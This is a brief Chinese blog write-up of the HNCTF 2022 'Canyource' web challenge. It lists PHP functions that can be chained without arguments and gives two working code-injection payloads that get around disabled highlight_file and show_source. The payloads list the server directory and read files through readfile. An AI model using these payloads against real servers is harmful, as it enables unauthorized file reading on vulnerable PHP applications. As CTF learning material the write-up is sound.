[HNCTF 2022 WEEK2]Canyource

[HNCTF 2022 WEEK2]Canyource

image-20230618205617023

php的内置函数:


    end() - 读取数组最后一个元素  
    localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
    pos() – 返回数组中的当前单元, 默认取第一个值
    next – 将内部指针指向数组下一个元素并输出
    scandir() – 扫描目录
    array_reverse() – 翻转数组
    array_flip() - 键名与数组值对调
    readfile()
    array_rand() - 随机读取键名
    var_dump() - 输出数组,可以用print_r替代
    file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
    get_defined_vars() -  返回由所有已定义变量所组成的数组
    current() - 读取数组的第一个元素

highlight_file() show_source() 都被禁了 利用 echo(readfile())来读取

两种payload:

1./?
code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
2./?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));

image-20230618210308067

posted @ 2023-06-18 21:04  Magic水瓶  阅读(263)  评论(0)    收藏  举报